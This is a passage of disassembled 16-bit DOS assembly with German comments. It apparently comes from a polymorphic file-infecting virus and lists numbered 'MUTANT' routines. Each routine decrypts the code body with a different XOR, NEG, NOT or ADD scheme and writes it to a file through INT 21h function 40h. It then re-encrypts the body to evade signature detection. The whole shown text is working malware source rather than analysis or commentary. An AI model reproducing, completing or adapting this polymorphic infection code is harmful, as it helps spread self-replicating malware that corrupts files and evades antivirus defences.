  2900.                 POP     DS                      ; DS =
  2901.                 DEC     CL                      ; CX = 11C3
  2902. J03C28:         INC     BX
  2903.                 SUB     WORD Ptr DS:[BX],00FEh
  2904.                 INC     BX
  2905.                 LOOP    J03C28
  2906.                 PUSH    SI                      ; BX =
  2907.                 MOV     SI,BX                   ; SI =
  2908.                 ADD     SI,008Dh                ; SI =
  2909.                 DEC     BYTE Ptr DS:[SI]        ;
  2910.                 POP     SI
  2911.                 JZ      J03C1A
  2912.                 PUSH    ES
  2913.                 CLC
  2914.                 POP     DS
  2915.                 JMP_ENTRY 23,mut_23
  2916.  
  2917. J03C42:         POP     DX
  2918.                 MOV     AL,40h
  2919.                 XCHG    AH,AL                   ; AH = 40h !!!!!!!
  2920. J03C47:
  2921.                 CALL_INT21 23,MUT_23
  2922.                 JMP     J03C17
  2923. END_23:
  2924. ;=====================================================================
  2925. ;===================================================( MUTANT # 27 )===
  2926. ;=====================================================================
  2927. MUT_27          EQU     $
  2928.                 SUB     CH,12h                  ; = OFFSET 4BB5
  2929.                 ADD     CL,3Eh                  ; cx=2385 -> 11c3
  2930. J03C52:         ADD     [BX],CX
  2931.                 ADD     BX,+04h
  2932.                 SUB     BX,+02h
  2933.                 LOOP    J03C52
  2934.                 XCHG    BP,BX
  2935.                 POP     BP
  2936.                 XCHG    BX,BP
  2937.                 JMP     SHORT J03C8D
  2938.  
  2939.         ;--------( einsprung ) ------
  2940. J03C63:         CALL    J03C67
  2941. J03C66:         RETN
  2942.  
  2943. J03C67:         POP     CX
  2944.                 MOV     BX,0DC61h
  2945.                 ADD     BX,CX
  2946.                 PUSH    CS
  2947.                 MOV     CX,10C3h
  2948.                 POP     DS
  2949.                 INC     CH
  2950. J03C74:         SUB     [BX],CX
  2951.                 INC     BX
  2952.                 STC
  2953.                 INC     BX
  2954.                 LOOP    J03C74
  2955.                 MOV     BP,BX
  2956.                 ADD     BP,008Dh
  2957.                 DEC     BYTE PTR [BP+00h]
  2958.                 POP     BP
  2959.                 JZ      J03C66
  2960.                 PUSH    ES
  2961.                 POP     DS
  2962.                 JMP_ENTRY 27,mut_27
  2963.  
  2964. J03C8D:         POP     CX
  2965.                 PUSH    BP
  2966.                 MOV     BP,2567h
  2967.                 INC     BP
  2968.  
  2969. J03C93:
  2970.  
  2971.                 CALL    DS:BP
  2972.                 JMP     J03C63
  2973. ;=====================================================================
  2974. ;===================================================( MUTANT # 24 )===
  2975. ;=====================================================================
  2976. Mut_24          EQU     $
  2977.                 ADD     CX,0EE3Eh               ; = OFFSET 4BB5
  2978.                 JMP     SHORT J03CA7
  2979.                 db      43h
  2980. J03C9F:         NEG     WORD Ptr DS:[BX]
  2981.                 ADD     BX,+02h
  2982.                 LOOP    J03C9F
  2983. J03CA6:         RETN
  2984.  
  2985. J03CA7:         CALL    J03C9F
  2986.                 CALL    J03CCE
  2987.  
  2988.                 DB      0EAH
  2989.                 DB      12H
  2990.  
  2991.         ;--------( einsprung ) ------
  2992. J03CAF:         PUSH    AX
  2993.                 CALL    J03CDD
  2994.                 ADD     DX,0DC60h
  2995.                 MOV     CH,11h
  2996.                 MOV     CL,0C3h
  2997.                 XCHG    BX,CX
  2998.                 CALL    J03C9F
  2999.                 TEST    BYTE Ptr DS:[D2433],0FEh
  3000.                 JZ      J03CA6
  3001.                 MOV     CX,ES
  3002.                 MOV     DS,CX
  3003.                 CALL_ENTRY 24,mut_24
  3004.                 ;-------------------
  3005. J03CCE:         POP     CX
  3006.                 POP     AX
  3007.                 XCHG    AX,BX
  3008.                 POP     AX
  3009.                 XCHG    AX,CX
  3010.                 MOV     AH,3Fh
  3011.                 INC     AH
  3012.                 CALL_INT21 24,mut_24
  3013.                 POP     AX
  3014.                 JMP     J03CAF
  3015.  
  3016. J03CDD:         MOV     BX,CS
  3017. J03CDF:         MOV     DS,BX
  3018.                 POP     DX
  3019.                 PUSH    DX
  3020.                 RETN
  3021. ;=====================================================================
  3022. ;====================================================( MUTANT # 28)===
  3023. ;=====================================================================
  3024. mut_28          EQU     $
  3025.                 XOR     CX,3246h                ; = OFFSET 4BB5
  3026.                 JMP     SHORT J03CF3
  3027.  
  3028. J03CEA:         XOR     [BX],CX
  3029.                 ADD     BX,+03h
  3030.                 DEC     BX
  3031.                 LOOP    J03CEA
  3032. J03CF2:         RETN
  3033.  
  3034. J03CF3:         CALL    J03CEA
  3035.                 CALL    J03D18
  3036. J03CF9:         XCHG    BL,BH
  3037.         ;--------( einsprung ) ------
  3038.                 CALL    J03D29
  3039.                 XCHG    DX,BX
  3040.                 ADD     BX,0DC61h
  3041.                 MOV     CX,ZweiByte
  3042.                 CALL    J03CEA
  3043.                 TEST    BYTE Ptr DS:[D2433],0FEh
  3044.                 JZ      J03CF2
  3045.                 MOV     DX,ES
  3046.                 MOV     DS,DX
  3047.                 JMP_ENTRY 28,mut_28
  3048.  
  3049. J03D18:         POP     AX
  3050.                 POP     AX
  3051.                 MOV     BX,AX
  3052.                 POP     AX
  3053.                 MOV     CX,AX
  3054.                 XOR     AH,AH
  3055.                 OR      AH,40h          ; AH = 40h
  3056.                 CALL_INT21 28,mut_28
  3057.                 JMP     J03CF9
  3058.  
  3059. J03D29:         MOV     BX,CS
  3060. J03D2B:         MOV     DS,BX
  3061.                 POP     DX
  3062.                 PUSH    DX
  3063.                 RETN
  3064. ;=====================================================================
  3065. ;====================================================( MUTANT # 26)===
  3066. ;=====================================================================
  3067. mut_26          EQU     $
  3068.                 SUB     BX,+02h                 ; = OFFSET 4BB5
  3069.                 ADD     CX,0EE3Ch
  3070.                 MOV     AX,[BX]
  3071. J03D39:         INC     BX
  3072.                 INC     BX
  3073.                 SUB     [BX],AX
  3074.                 LOOP    J03D39
  3075.                 POP     BX
  3076.                 XLAT                            ; MOV AL,[BX+AL]
  3077.                 POP     CX
  3078.                 JMP     SHORT J03D6C
  3079.  
  3080. J03D44:         POP     BX
  3081.                 PUSH    BX
  3082. J03D46:         RETN
  3083.  
  3084.         ;--------( einsprung ) ------
  3085. J03D47:         PUSH    CS
  3086.                 POP     DS
  3087.                 CALL    J03D44
  3088.                 ADD     BX,0DC5Dh
  3089.                 MOV     CX,11C1h
  3090.                 MOV     AX,[BX]
  3091. J03D55:         INC     BX
  3092.                 INC     BX
  3093.                 ADD     [BX],AX
  3094.                 LOOP    J03D55
  3095.                 ADD     BX,0092h
  3096.                 CMP     BYTE Ptr DS:[BX+01h],01h
  3097.                 JZ      J03D46
  3098.                 PUSH    ES
  3099.                 AND     AX,CX
  3100.                 POP     DS
  3101.                 CALL_ENTRY 26,mut_26
  3102.                 ;-------------------
  3103. J03D6C:         MOV     AH,30h
  3104.                 ADD     AH,10h
  3105.  
  3106.                 PUSH    SI
  3107.                 MOV     SI,1466h
  3108.                 CALL    [SI+1100h]      ; CALL INT 21h
  3109.                 POP     SI
  3110.                 JMP     J03D47
  3111.  
  3112. ;=====================================================================
  3113. ;=====================================================( MUTANT #1 )===
  3114. ;=====================================================================
  3115. MUT_1           EQU     $
  3116.                 SUB     CX,11C4h                ; = OFFSET 4BB5
  3117.                 SUB     BX,+02h
  3118.                 MOV     AX,[BX]
  3119. J03D85:         INC     BX
  3120.                 INC     BX
  3121.                 SUB     [BX],AX
  3122.                 LOOP    J03D85
  3123.                 POP     BX
  3124.                 POP     CX
  3125.                 JMP     SHORT J03DB9
  3126.  
  3127. J03D8F:         POP     BX
  3128.                 CLD
  3129.                 PUSH    BX
  3130. J03D92:         RETN
  3131.         ;--------( einsprung ) ------
  3132. J03D93:         PUSH    CS
  3133.                 POP     DS
  3134.                 CALL    J03D8F                  ; BX =
  3135. J03D98:         SUB     BX,23A3h                ; BX =
  3136.                 MOV     CX,11C1h                ; CX =
  3137.                 MOV     DX,[BX]
  3138. J03DA1:         INC     BX
  3139.                 INC     BX
  3140.                 ADD     [BX],DX
  3141.                 LOOP    J03DA1
  3142.                 PUSH    BP
  3143.                 MOV     BP,0433h
  3144.                 CMP     BYTE PTR [BP+2000h],01h ; [2433]
  3145.                 POP     BP
  3146.                 JZ      J03D92                  ; AUSGANG !
  3147.                 PUSH    ES
  3148.                 POP     DS
  3149.                 CALL_ENTRY 1,mut_1
  3150.                 ;-----------------
  3151. J03DB9:         MOV     AH,20h
  3152.                 ADD     AH,AH                   ; AH = 40h => Schreiben !!!!!!
  3153.  
  3154.                 MOV     BP,2466h
  3155.                 CALL    CS:[BP+0100h]           ; CALL Int 21h !
  3156.                 JMP     J03D93
  3157.                 DB      89H
  3158.  
  3159. ;=====================================================================
  3160. ;====================================================( MUTANT #17 )===
  3161. ;=====================================================================
  3162. MUT_17          EQU     $
  3163.                 xor     ax,ax                   ; = OFFSET 4BB5
  3164.                 ADD     CX,BX
  3165. J03DCC:         MOV     AL,[BX]
  3166.                 SUB     [BX-01],AL
  3167.                 SUB     BX,+02h
  3168.                 CMP     BX,+1Fh
  3169.                 JNZ     J03DCC
  3170.                 POP     BX
  3171.                 CLD
  3172.                 POP     CX
  3173.                 CALL    J03E04                  ; = JMP 3E04
  3174.         ;--------( einsprung ) ------
  3175. J03DDF:         PUSH    CS
  3176.                 STD
  3177.                 POP     DS
  3178.                 POP     AX                      ; AX =
  3179.                 CALL    J03E11                  ; AX =
  3180.                 XCHG    AX,BX                   ; BX =
  3181.                 MOV     CX,ZweiByte             ; CX =
  3182.                 SUB     BX,+1Eh                 ; BX =
  3183.  
  3184. J03DED:         MOV     DL,[BX]
  3185.                 ADD     [BX-01h],DL
  3186.                 DEC     BX                      ; (!!!!!)
  3187.                 CMC
  3188.                 DEC     BX
  3189.                 LOOP    J03DED
  3190.                                         ; BX =
  3191.                 CMP     BYTE Ptr DS:[D2433],01h
  3192.                 JZ      J03E13
  3193.                 PUSH    ES
  3194.                 CMC
  3195.                 POP     DS
  3196.                 CALL_ENTRY 17,mut_17
  3197.  
  3198. J03E04:         POP     AX
  3199.                 XOR     AH,AH
  3200.                 OR      AH,40h                  ; AH = 40h, SCHREIBEN
  3201.  
  3202.                 CALL    DS:[@INT21]   ; CALL INT 21h
  3203.                 CALL    J03DDF
  3204. J03E11:         POP     AX
  3205.                 PUSH    AX
  3206. J03E13:         RETN
  3207. ;=====================================================================
  3208. ;====================================================( MUTANT # 16)===
  3209. ;=====================================================================
  3210. MUT_16          EQU     $
  3211.                 ADD     BX,CX                   ; = OFFSET 4BB5
  3212.                 MOV     CX,0001h
  3213.                 INC     CX                      ; CX = 2
  3214. J03E1A:         MOV     AL,[BX]
  3215.                 ADD     [BX-01h],AL
  3216.                 SUB     BX,CX
  3217.                 CMP     BX,+1Fh
  3218.                 JNZ     J03E1A
  3219.                 POP     BX
  3220.                 POP     CX
  3221.                 CALL    J03E4F
  3222.         ;--------( einsprung ) ------
  3223. J03E2B:         POP     BX                      ; BX =
  3224.                 PUSH    CS
  3225.                 POP     DS
  3226.                 CALL    J03E5C                  ; AX =
  3227.  
  3228.                 XCHG    AX,BX                   ; AX =
  3229.                 SUB     BX,+1Dh                 ; BX =
  3230.                 MOV     CX,ZweiByte             ; CX =
  3231.  
  3232. J03E38:         MOV     AL,[BX]
  3233.                 SUB     [BX-01h],AL
  3234.                 DEC     BX
  3235.                 DEC     BX
  3236.                 LOOP    J03E38
  3237.                                         ; BX =
  3238.                 CMP     BYTE Ptr DS:[D2433],01h
  3239.                 JZ      J03E5E
  3240.                 PUSH    ES
  3241.                 SUB     AX,AX
  3242.                 POP     DS
  3243.                 CALL_ENTRY 16,mut_16
  3244. ;----------------------------------------------------------------------
  3245. J03E4F:         POP     AX
  3246.                 MOV     AH,40h                  ; AH = 40h
  3247.  
  3248.                 PUSH    SI
  3249.                 MOV     SI,Offset @INT21+2       ; Schreiben ? Int 21h ?
  3250. J03E56:         CALL    SI
  3251.                 POP     SI
  3252.                 CALL    J03E2B
  3253. J03E5C:         POP     AX
  3254.                 PUSH    AX
  3255. J03E5E:         RETN
  3256.                 DB      0ebh
  3257. ;=====================================================================
  3258. ;===================================================( MUTANT # 18 )===
  3259. ;=====================================================================
  3260. mut_18          EQU     $
  3261. J03E60:         NOT     BYTE Ptr DS:[BX]        ; = OFFSET 4BB5
  3262.                 NEG     BYTE Ptr DS:[BX]
  3263.                 ADD     BX,+01h
  3264.                 LOOP    J03E60
  3265.                 POP     BX
  3266.                 CLD
  3267.                 POP     CX
  3268.                 CALL_INT21 18,mut_18
  3269.                 JMP     SHORT J03E78
  3270.  
  3271. J03E71:         MOV     DX,CS
  3272.                 MOV     DS,DX
  3273.                 CALL    J03E7B
  3274.         ;--------( einsprung  ist $-1 )-------
  3275.         ; ADD BH,DL
  3276.         ; JMP J03E71
  3277.         ;-------------------------------------
  3278.  
  3279. J03E78:         XLAT                            ; MOV AL,[BX+AL]
  3280.                 JMP     J03E71
  3281.  
  3282. J03E7B:         POP     DX                      ; DX =
  3283.                 SUB     DX,239Dh                ; DX =
  3284.                 STC
  3285.                 XCHG    BX,DX                   ; BX =
  3286.                 MOV     CX,CODE_LEN XOR 0F0FH   ; CX =
  3287.                 CLC
  3288.                 XOR     CX,0F0Fh                ; CX =
  3289. J03E8B:         NEG     BYTE Ptr DS:[BX]
  3290.                 NOT     BYTE Ptr DS:[BX]
  3291.                 INC     BX
  3292.                 STD
  3293.                 LOOP    J03E8B
  3294.                                         ; BX =
  3295.                 MOV     CH,8Dh          ; CX =
  3296.                 MOV     AL,01h
  3297.                 ADD     AL,CH           ;
  3298.                 XLAT                    ; MOV AL,[BX+AL] ; AL = []
  3299.                 CLC
  3300.                 CMP     AL,01h
  3301.                 JZ      J03E56  ;-<<>>--< ZEIGT AUF L0L0L0 >-----<<>>--
  3302.  
  3303.                 MOV     CX,ES
  3304.                 MOV     AX,SS
  3305.  
  3306.                 SUB     AX,AX                   ; AX <- 0
  3307.                 PUSH    DS
  3308.                 MOV     DS,CX                   ; DS <- ES
  3309.                 POP     CX                      ; CX <- DS
  3310.                 JMP_ENTRY 18,mut_18
  3311. ;=====================================================================
  3312. ;====================================================( MUTANT #30 )===
  3313. ;=====================================================================
  3314. Mut_30          EQU     $
  3315. J03EAC:         NEG     BYTE Ptr DS:[BX]        ; = OFFSET 4BB5
  3316.                 NOT     BYTE Ptr DS:[BX]
  3317.                 INC     BX
  3318.                 LOOP    J03EAC
  3319.                 POP     CX
  3320.                 POP     BX
  3321.                 XCHG    CX,BX
  3322.                 CALL_INT21 30,mut_30
  3323.                 JMP     SHORT J03EC3
  3324.  
  3325. J03EBC:         MOV     AX,CS
  3326.                 MOV     DS,AX
  3327.                 CALL    J03EC5                  ;
  3328.         ;-------( einsprung )--------------
  3329. J03EC3:         JMP     J03EBC
  3330.  
  3331. J03EC5:         POP     AX                      ; AX =
  3332.                 SUB     AX,239Ch                ; AX =
  3333.                 XCHG    AX,BX                   ; BX =
  3334.  
  3335.                 MOV     CX,CODE_LEN XOR 0FDABH  ;
  3336.                 XOR     CX,0FDABh               ; CX = 2385
  3337.  
  3338. J03ED1:         NOT     BYTE Ptr DS:[BX]
  3339.                 NEG     BYTE Ptr DS:[BX]
  3340.                 INC     BX
  3341.                 LOOP    J03ED1
  3342.                                         ; BX =
  3343.                 MOV     AL,8Eh
  3344.                 XLAT                            ; MOV AL,[BX+AL]; AL = []
  3345.                 CMP     AL,01h
  3346.                 JZ      J03EF2
  3347.                 MOV     AX,ES
  3348.                 MOV     BX,AX                   ; BX <- ES
  3349.                 PUSH    DS
  3350.                 MOV     DS,BX                   ; DS <- ES
  3351.                 POP     BX                      ; BX <- DS
  3352.                 SUB     AX,AX                   ; AX <- 0
  3353.                 JMP_ENTRY 30,mut_30
  3354.  
  3355. ;--------------------------------------------------------
  3356.                 Dw      8903h,0A5EFh,0CC14H
  3357. J03EF2:         RET
  3358.                 dw      0c111h,0b4deh
  3359. ;=====================================================================
  3360. ;=====================================================( MUTANT # 8)===
  3361. ;=====================================================================
  3362. mut_8           EQU     $
  3363.                 PUSH    BP                      ; = OFFSET 4BB5
  3364.                 INC     BX
  3365.                 DEC     CX
  3366.                 CALL    J03F06
  3367. J03EFE:         DEC     CX
  3368.                 NEG     BYTE Ptr DS:[BX]
  3369.                 ADD     BX,+02h
  3370.                 DEC     CX
  3371. J03F05:         RETN
  3372.  
  3373. J03F06:         POP     BP                      ; BP =
  3374. J03F07:         CALL    J03EFE
  3375.                 JZ      J03F3C
  3376.                 JMP     J03F07
  3377.  
  3378. J03F0E:         PUSH    BP
  3379.         ;-------( einsprung )--------------
  3380.                 PUSH    CS
  3381. J03F10:         CLC
  3382.                 POP     DS                      ; DS = CS
  3383.                 CALL    J03F38                  ; BP = OFFSET $+3
  3384. J03F15:         MOV     CL,84h                  ; CX = xx84
  3385.                 SUB     BP,23A1h                ; BP = 2831
  3386.                 MOV     BX,BP                   ; BX = 2831
  3387.                 MOV     CH,23h                  ; CX = 2384
  3388. J03F1F:         CALL    J03EFE
  3389.                 JNZ     J03F1F                  ; = LOOP 3F1F
  3390.  
  3391.                 MOV     AX,BP                   ; AX=BP=2831
  3392.                 MOV     BP,BX                   ; BX=4C00
  3393.                 ADD     BP,008Eh                ; BP=
  3394.                 DEC     BYTE PTR [BP+00h]       ;
  3395.                 POP     BP                      ; BP=egal
  3396.                 JZ      J03F05                  ; = RET
  3397.                 PUSH    ES
  3398.                 POP     DS
  3399.                 PUSH    AX                      ; AX=2831
  3400.                 MOV     AX,CX                   ; AX = 0
  3401. J03F38:         POP     BP                      ; BP=2831
  3402.                 PUSH    CS
  3403.                 PUSH    BP
  3404.                 RETF                            ; JMP FAR CS:2830
  3405.  
  3406. J03F3C:         POP     BP
  3407.                 POP     BX
  3408.                 POP     CX
  3409.                 CALL_INT21 8,mut_8
  3410.                 JMP     J03F0E
  3411. ;=====================================================================
  3412. ;=====================================================( MUTANT #7 )===
  3413. ;=====================================================================
  3414. Mut_7           EQU     $
  3415.                 INC     BX                      ; = OFFSET 4BB5
  3416.                 PUSH    DX
  3417.                 DEC     CX
  3418. J03F47:         CALL    J03F52
  3419. J03F4A:         NOT     BYTE Ptr DS:[BX]
  3420.                 DEC     CX
  3421.                 ADD     BX,+02h
  3422.                 DEC     CX
  3423.                 RETN
  3424.  
  3425. J03F52:         POP     DX
  3426. J03F53:         CALL    J03F4A
  3427.                 JZ      J03F86
  3428.                 JMP     J03F53
  3429.  
  3430. J03F5A:         PUSH    DX
  3431.         ;-------( einsprung )--------------
  3432.                 PUSH    CS
  3433. J03F5C:         POP     DS
  3434.                 CALL    J03F83                  ; DX =
  3435. J03F60:         SUB     DX,23A0h                ; DX =
  3436.                 MOV     BX,DX                   ; BX =
  3437.                 MOV     CX,8423h
  3438.                 XCHG    CL,CH                   ; CX = 2384
  3439. J03F6B:         CALL    J03F4A
  3440.                 JNZ     J03F6B                  ; LOOP
  3441.                 XCHG    AX,DX                   ; AX =
  3442.                 MOV     DX,BX                   ; BX = , DX = BX
  3443.                 ADD     DX,008Eh                ; DX =
  3444.                 XCHG    DX,BX                   ; BX = , DX =
  3445.                 DEC     BYTE Ptr DS:[BX]
  3446.                 POP     DX                      ; DX = ????
  3447.                 JZ      J03F85
  3448.                 PUSH    ES
  3449.                 POP     DS                      ; DS = ES
  3450.                 PUSH    AX
  3451.                 XOR     AX,AX                   ; AX = 0
  3452. J03F83:         POP     DX                      ; DX =
  3453.                 PUSH    DX
  3454. J03F85:         RETN                            ; JMP 2831
  3455. ;---------------------------------------------------------------
  3456. J03F86:         POP     DX                      ;
  3457.                 POP     BX
  3458.                 POP     CX
  3459. J03F89:
  3460.                 CALL_INT21 7,mut_7
  3461.                 XLAT                            ; MOV AL,[BX+AL]
  3462.                 CLC
  3463. J03F8E:         JMP     J03F5A
  3464. ;=====================================================================
  3465. ;===================================================( MUTANT # 12 )===
  3466. ;=====================================================================
  3467. mut_12          EQU     $
  3468.                 JMP     SHORT J03FA0            ; = OFFSET 4BB5
  3469.  
  3470. J03F92:         POP     BX
  3471.                 MOV     AH,40h
  3472.                 POP     CX
  3473.                 CALL_INT21 12,mut_12
  3474. ;==========================================================
  3475. J03F99:         JMP     SHORT J03FA7
  3476.  
  3477. J03F9B:         POP     BX
  3478.                 PUSH    CS
  3479.                 POP     DS
  3480.                 PUSH    BX
  3481.                 RETN
  3482.  
  3483. J03FA0:         CALL    J03FCC
  3484.                 JNZ     J03FA0
  3485.                 JMP     J03F92
  3486.  
  3487.         ;-------( einsprung )--------------
  3488. J03FA7:         CALL    J03F9B
  3489. J03FAA:         MOV     CX,239Fh                ; BX = ; DS = CS
  3490.                 SUB     BX,CX                   ; CX =
  3491.                 SUB     CX,+1Ah                 ; CX =
  3492. J03FB2:         CALL    J03FCC
  3493.                 JNZ     J03FB2
  3494.                 XOR     BYTE Ptr DS:[BX+008Eh],01h
  3495.                 JZ      J03FCB
  3496.                 CALL    J03F9B
  3497. J03FC1:         SUB     BX,23B4h                ; BX = , BX <-
  3498.                 DEC     BX                      ; BX =
  3499.                 MOV     AX,CX
  3500.                 PUSH    BX                      ;
  3501.                 PUSH    ES
  3502.                 POP     DS
  3503. J03FCB:         RETN                            ; = JMP 2831
  3504.  
  3505. J03FCC:         PUSH    [BX]
  3506.                 POP     AX
  3507.                 XOR     [BX+02h],AL
  3508.                 XOR     [BX+01h],AL
  3509.                 ADD     BX,+03h
  3510.                 SUB     CX,+03h
  3511.                 RETN
  3512. ;=====================================================================
  3513. ;===================================================( MUTANT # 11 )===
  3514. ;=====================================================================
  3515. Mut_11          EQU     $
  3516.                 JMP     SHORT J03FEC            ; = OFFSET 4BB5
  3517.  
  3518. J03FDE:         POP     BX
  3519.                 POP     CX
  3520.                 MOV     AH,40h
  3521.                 CALL_int21 11,mut_11
  3522.                 JMP     SHORT J03FF3
  3523.  
  3524. J03FE7:         POP     BX
  3525.                 PUSH    BX
  3526.                 PUSH    CS
  3527.                 POP     DS
  3528. J03FEB:         RETN
  3529.  
  3530. J03FEC:         CALL    J04019
  3531.                 JNZ     J03FEC
  3532.                 JMP     J03FDE
  3533.  
  3534.         ;-------( einsprung )--------------
  3535. J03FF3:         CALL    J03FE7
  3536. J03FF6:         MOV     AX,239Fh        ; BX =
  3537.                 SUB     BX,AX           ; BX =
  3538.                 MOV     CX,001Ah        ; CX =
  3539.                 XOR     CX,AX           ; CX = 2385
  3540. J04000:         CALL    J04019
  3541.                 JNZ     J04000
  3542.                 XOR     BYTE Ptr DS:[BX+008Eh],01h
  3543.                 JZ      J03FEB
  3544.                 CALL    J03FE7
  3545. J0400F:         SUB     BX,23B7h        ; BX <-
  3546.                 PUSH    BX              ; RET
  3547.                 PUSH    ES
  3548.                 MOV     AX,CX
  3549.                 POP     DS
  3550.                 RETN
  3551.  
  3552. J04019:         MOV     AH,[BX]
  3553.                 XOR     [BX+01h],AH
  3554.                 XOR     [BX+02h],AH
  3555.                 ADD     BX,+03h
  3556.                 SUB     CX,+03h
  3557.                 RETN
  3558. ;=====================================================================
  3559. ;====================================================( MUTANT # 14)===
  3560. ;=====================================================================
  3561. Mut_14          EQU     $
  3562.                 JMP     SHORT J04042            ; = OFFSET 4BB5
  3563.  
  3564. J0402A:         POP     AX
  3565.                 MOV     BX,AX
  3566.                 POP     AX
  3567.                 PUSH    SI
  3568.                 MOV     CX,AX
  3569.                 PUSH    word ptr DS:[@INT21]
  3570.                 MOV     AX,4000h        ; Schreiben !
  3571.  
  3572.                 POP     SI
  3573.                 CALL    SI              ; CALL INT 21h
  3574.                 POP     SI
  3575.                 STC
  3576.                 NOP
  3577.                 CLC
  3578.         ;-------( einsprung )--------------
  3579.                 JMP     J04049
  3580.  
  3581. J04042:         INC     BYTE Ptr DS:[BX]
  3582.                 INC     BX
  3583.                 LOOP    J04042
  3584.                 JMP     J0402A
  3585.  
  3586. J04049:         CALL    J0406E
  3587.                 MOV     CX,Code_Len
  3588.                 SUB     BX,23A9h
  3589. J04053:         DEC     BYTE Ptr DS:[BX]
  3590.                 INC     BX
  3591.                 LOOP    J04053
  3592.  
  3593.                 PUSH    BP
  3594.                 MOV     BP,BX
  3595.                 ADD     BP,008Eh
  3596.                 XOR     AX,AX
  3597.                 CMP     BYTE PTR [BP+00h],01h
  3598.                 POP     BP
  3599.                 JZ      J04072
  3600.                 PUSH    ES
  3601.                 POP     DS
  3602.                 JMP_entry 14,mut_14
  3603.  
  3604. J0406E:         PUSH    CS
  3605. J0406F:         POP     DS
  3606.                 POP     BX
  3607.                 PUSH    BX
  3608. J04072:         RETN
  3609.  
  3610.                 DB      0CDh
  3611. ;=====================================================================
  3612. ;====================================================( MUTANT # 10)===
  3613. ;=====================================================================
  3614. mut_10          EQU     $
  3615.                 PUSH    AX
  3616.                 DEC     CL
  3617.                 JMP     SHORT J0408F
  3618.  
  3619. J04079:         MOV     AL,[BX]
  3620.                 INC     BX
  3621.                 MOV     AH,[BX]
  3622.                 XCHG    AL,AH
  3623.                 MOV     [BX-01h],AL
  3624.                 DEC     CX
  3625.                 MOV     [BX],AH
  3626.                 INC     BX
  3627.                 XOR     AX,AX
  3628.                 DEC     CX
  3629. J0408A:         RETN
  3630.  
  3631.         ;-------( einsprung )--------------
  3632. J0408B:         PUSH    CS
  3633.                 POP     DS
  3634.                 JMP     SHORT J040A2
  3635.  
  3636. J0408F:         CALL    J04079
  3637.                 CLC
  3638.                 JNZ     J0408F
  3639.                 POP     AX
  3640.                 POP     BX
  3641.                 POP     CX
  3642.  
  3643.                 PUSH    BP
  3644.                 PUSH    word ptr DS:[@INT21]
  3645.                 POP     BP
  3646.                 CALL    DS:BP           ; CALL Int 21H
  3647.                 POP     BP
  3648. J040A2:         CALL    J040A5
  3649. J040A5:         MOV     CX,2384h        ; CX = 2384
  3650.                 POP     BX              ; BX = 40A5
  3651.                 SUB     BX,23B6h        ; BX = 1cef
  3652. J040AD:         CALL    J04079
  3653.                 JNZ     J040AD
  3654.                 CMP     BYTE Ptr DS:[BX+008Fh],01h
  3655.                 CLD
  3656.                 JZ      J0408A
  3657.                 PUSH    ES
  3658. J040BB:         POP     DS
  3659.                 JMP_ENTRY 10,mut_10
  3660.                 DB      089h
  3661. ;=====================================================================
  3662. ;====================================================( MUTANT # 29)===
  3663. ;=====================================================================
  3664. Mut_29          EQU     $
  3665.                 DEC     CX                      ; = OFFSET 4BB5
  3666.                 PUSH    AX
  3667.                 JMP     SHORT J040DB
  3668.  
  3669. J040C4:         MOV     AL,[BX]
  3670.                 INC     BX
  3671.                 MOV     AH,[BX]
  3672.                 XCHG    AH,AL
  3673.                 MOV     [BX-01h],AL
  3674.                 MOV     [BX],AH
  3675.                 INC     BX
  3676.                 XOR     AX,AX
  3677.                 SUB     CX,+02h
  3678. J040D6:         RETN
  3679.  
  3680.         ;-------( einsprung )--------------
  3681. J040D7:         PUSH    CS
  3682.                 POP     DS
  3683.                 JMP     SHORT J040F0
  3684.  
  3685. J040DB:         CALL    J040C4
  3686.                 JNZ     J040DB
  3687.                 POP     AX
  3688.                 POP     BX
  3689.                 STI
  3690.  
  3691.                 POP     CX
  3692.                 PUSH    word ptr DS:[@INT21]
  3693.                 POP     word ptr DS:[D259A]
  3694.                 CALL    WORD PTR DS:[D259A]     ; CALL INT 21H
  3695. J040F0:         CALL    J040F3
  3696. J040F3:         POP     BX                      ; BX =
  3697.                 SUB     BX,23B8h                ; BX =
  3698.                 MOV     CX,2384h                ; CX = 2384
  3699. J040FB:         CALL    J040C4
  3700.                 JNZ     J040FB
  3701.                 CMP     BYTE Ptr DS:[BX+008Fh],01h
  3702.                 JZ      J040D6
  3703. J04107:         PUSH    ES
  3704.                 POP     DS
  3705.                 JMP_ENTRY 29,mut_29
  3706. ;=====================================================================
  3707. ;====================================================( MUTANT # 15)===
  3708. ;=====================================================================
  3709. mut_15          EQU     $
  3710.                 PUSH    DX                      ; = OFFSET 4BB5
  3711.                 MOV     DH,[BX-01h]
  3712.                 PUSH    AX
  3713. J04111:         MOV     DL,[BX]
  3714.                 DEC     DH
  3715.                 XOR     [BX],DH
  3716.                 XCHG    DH,DL
  3717.                 ADD     BX,+01h
  3718.                 LOOP    J04111
  3719.                 POP     CX
  3720.                 POP     AX
  3721.                 JMP     J04128
  3722.  
  3723.         ;-------( einsprung )--------------
  3724. J04123:         CALL    J04126
  3725. J04126:         JMP     SHORT J04135
  3726.  
  3727. J04128:         MOV     DX,AX
  3728.                 POP     AX
  3729.                 MOV     BX,AX
  3730.                 POP     AX
  3731.                 XCHG    AX,CX
  3732.  
  3733.                 CALL    DS:[@INT21]         ; CALL INT 21
  3734.                 JMP     J04123
  3735.  
  3736. J04135:         POP     BX              ; BX =
  3737.                 MOV     CX,Code_Len        ; CX = 2385
  3738.                 PUSH    CS
  3739.                 SUB     BX,239Fh        ; BX =
  3740.                 POP     DS
  3741.  
  3742. J0413F:         MOV     AL,[BX-01h]
  3743.                 DEC     AL
  3744.                 XOR     [BX],AL
  3745.                 INC     BX
  3746.                 LOOP    J0413F
  3747.                 CMP     BYTE Ptr DS:[BX+008Eh],01h ;
  3748.                 JNZ     J04151
  3749.                 RETN
  3750.  
  3751. J04151:         PUSH    ES
  3752.                 XOR     AX,AX
  3753.                 POP     DS
  3754.                 JMP_ENTRY 15,mut_15
  3755. ;=====================================================================
  3756. ;=====================================================( MUTANT #6 )===
  3757. ;=====================================================================
  3758. mut_6           EQU     $
  3759.                 DEC     CL                      ; = OFFSET 4BB5
  3760. J0415A:         XOR     BYTE Ptr DS:[BX],67h
  3761.                 INC     BX
  3762.                 DEC     CX
  3763.                 INC     BX
  3764.                 DEC     CX
  3765.                 JNZ     J0415A
  3766.  
  3767.                 PUSH    word ptr DS:[@INT21]
  3768.                 POP     word ptr DS:[D2598+1]
  3769.                 POP     BX
  3770.                 POP     CX
  3771.                 JMP     SHORT J04172
  3772.  
  3773.         ;-------( einsprung )--------------
